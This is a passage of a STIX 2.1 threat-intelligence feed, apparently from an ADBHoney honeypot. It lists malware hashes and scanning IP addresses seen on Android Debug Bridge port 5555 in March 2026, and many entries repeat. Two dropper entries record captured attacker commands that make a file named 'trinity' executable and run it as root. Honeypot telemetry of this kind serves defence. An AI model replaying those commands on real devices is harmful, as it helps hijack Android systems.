          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:51:39.767Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T01:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0.raw; src_ip=121.166.191.90; src_ips=121.166.191.90; cc=KR; last_seen=2026-03-02T00:51:49.483Z; cmds=[/data/local/tmp/nohup /data/local/tmp/trinity | /data/local/tmp/nohup su -c /data/local/tmp/trinity | chmod 0755 /data/local/tmp/trinity]",
      "id": "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T03:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-02T02:10:29.000Z | last_seen=2026-03-15T11:45:29.620Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--edc8e3b6-7ddd-4766-892f-b73cec5fa545",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.248.133.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:00:14.000Z",
      "valid_until": "2026-04-03T03:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-02T02:10:29.000Z",
          "last_seen": "2026-03-15T11:45:29.620Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T03:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-02T02:10:29.000Z | last_seen=2026-03-15T11:45:29.620Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--edc8e3b6-7ddd-4766-892f-b73cec5fa545",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.248.133.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:00:14.000Z",
      "valid_until": "2026-04-03T03:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-02T02:10:29.000Z",
          "last_seen": "2026-03-15T11:45:29.620Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T04:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-02T03:52:27.000Z | last_seen=2026-03-02T04:02:41.853Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.227.106.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:00:14.000Z",
      "valid_until": "2026-04-03T04:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-02T03:52:27.000Z",
          "last_seen": "2026-03-02T04:02:41.853Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T04:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-02T03:52:27.000Z | last_seen=2026-03-02T04:02:41.853Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.227.106.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:00:14.000Z",
      "valid_until": "2026-04-03T04:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-02T03:52:27.000Z",
          "last_seen": "2026-03-02T04:02:41.853Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=JP; asn=2514; asn_org=NTT PC Communications, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-02T05:16:46.000Z | last_seen=2026-03-02T05:26:56.069Z | ports=5555 | cc=JP | asn=2514 | org=NTT PC Communications, Inc.",
      "id": "indicator--4d1892c9-d710-46f3-ace1-af86a3c3923b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '133.130.184.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:00:13.000Z",
      "valid_until": "2026-04-03T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-02T05:16:46.000Z",
          "last_seen": "2026-03-02T05:26:56.069Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "2514"
          ],
          "org": [
            "NTT PC Communications, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-02T05:11:22.000Z | last_seen=2026-03-02T05:21:29.648Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--38ec0345-51da-4144-9816-545b366fb01a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:00:13.000Z",
      "valid_until": "2026-04-03T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-02T05:11:22.000Z",
          "last_seen": "2026-03-02T05:21:29.648Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-02T05:09:18.000Z | last_seen=2026-03-02T05:10:23.728Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--eaebd6c9-3be1-450a-b46e-304875015596",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:00:13.000Z",
      "valid_until": "2026-04-03T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-02T05:09:18.000Z",
          "last_seen": "2026-03-02T05:10:23.728Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=JP; asn=2514; asn_org=NTT PC Communications, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-02T05:16:46.000Z | last_seen=2026-03-02T05:26:56.069Z | ports=5555 | cc=JP | asn=2514 | org=NTT PC Communications, Inc.",
      "id": "indicator--4d1892c9-d710-46f3-ace1-af86a3c3923b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '133.130.184.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:00:13.000Z",
      "valid_until": "2026-04-03T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-02T05:16:46.000Z",
          "last_seen": "2026-03-02T05:26:56.069Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "2514"
          ],
          "org": [
            "NTT PC Communications, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-02T05:11:22.000Z | last_seen=2026-03-02T05:21:29.648Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--38ec0345-51da-4144-9816-545b366fb01a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:00:13.000Z",
      "valid_until": "2026-04-03T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-02T05:11:22.000Z",
          "last_seen": "2026-03-02T05:21:29.648Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-02T05:09:18.000Z | last_seen=2026-03-02T05:10:23.728Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--eaebd6c9-3be1-450a-b46e-304875015596",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:00:13.000Z",
      "valid_until": "2026-04-03T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-02T05:09:18.000Z",
          "last_seen": "2026-03-02T05:10:23.728Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T10:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=RU; asn=211860; asn_org=Nerushenko Vyacheslav Nikolaevich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=12 | first_seen=2026-03-02T09:55:02.000Z | last_seen=2026-03-02T10:08:39.741Z | ports=5555 | cc=RU | asn=211860 | org=Nerushenko Vyacheslav Nikolaevich",
      "id": "indicator--8537b2c7-44d4-4359-bf3c-eff2a161f009",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '82.147.84.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:00:13.000Z",
      "valid_until": "2026-04-03T10:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 12,
          "first_seen": "2026-03-02T09:55:02.000Z",
          "last_seen": "2026-03-02T10:08:39.741Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "211860"
          ],
          "org": [
            "Nerushenko Vyacheslav Nikolaevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T10:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=51177; asn_org=Tipzor Media Srl; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-02T09:08:14.000Z | last_seen=2026-03-02T09:09:23.456Z | ports=5555 | cc=RO | asn=51177 | org=Tipzor Media Srl",
      "id": "indicator--bec2ae71-008c-4817-b13e-15771d14849d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '84.234.99.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:00:13.000Z",
      "valid_until": "2026-04-03T10:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-02T09:08:14.000Z",
          "last_seen": "2026-03-02T09:09:23.456Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "51177"
          ],
          "org": [
            "Tipzor Media Srl"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T10:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=RU; asn=211860; asn_org=Nerushenko Vyacheslav Nikolaevich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=12 | first_seen=2026-03-02T09:55:02.000Z | last_seen=2026-03-02T10:08:39.741Z | ports=5555 | cc=RU | asn=211860 | org=Nerushenko Vyacheslav Nikolaevich",
      "id": "indicator--8537b2c7-44d4-4359-bf3c-eff2a161f009",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '82.147.84.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:00:15.000Z",
      "valid_until": "2026-04-03T10:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 12,
          "first_seen": "2026-03-02T09:55:02.000Z",
          "last_seen": "2026-03-02T10:08:39.741Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "211860"
          ],
          "org": [
            "Nerushenko Vyacheslav Nikolaevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T10:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=51177; asn_org=Tipzor Media Srl; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-02T09:08:14.000Z | last_seen=2026-03-02T09:09:23.456Z | ports=5555 | cc=RO | asn=51177 | org=Tipzor Media Srl",
      "id": "indicator--bec2ae71-008c-4817-b13e-15771d14849d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '84.234.99.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:00:15.000Z",
      "valid_until": "2026-04-03T10:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-02T09:08:14.000Z",
          "last_seen": "2026-03-02T09:09:23.456Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "51177"
          ],
          "org": [
            "Tipzor Media Srl"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T11:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-02T10:51:21.000Z | last_seen=2026-03-02T11:01:33.747Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
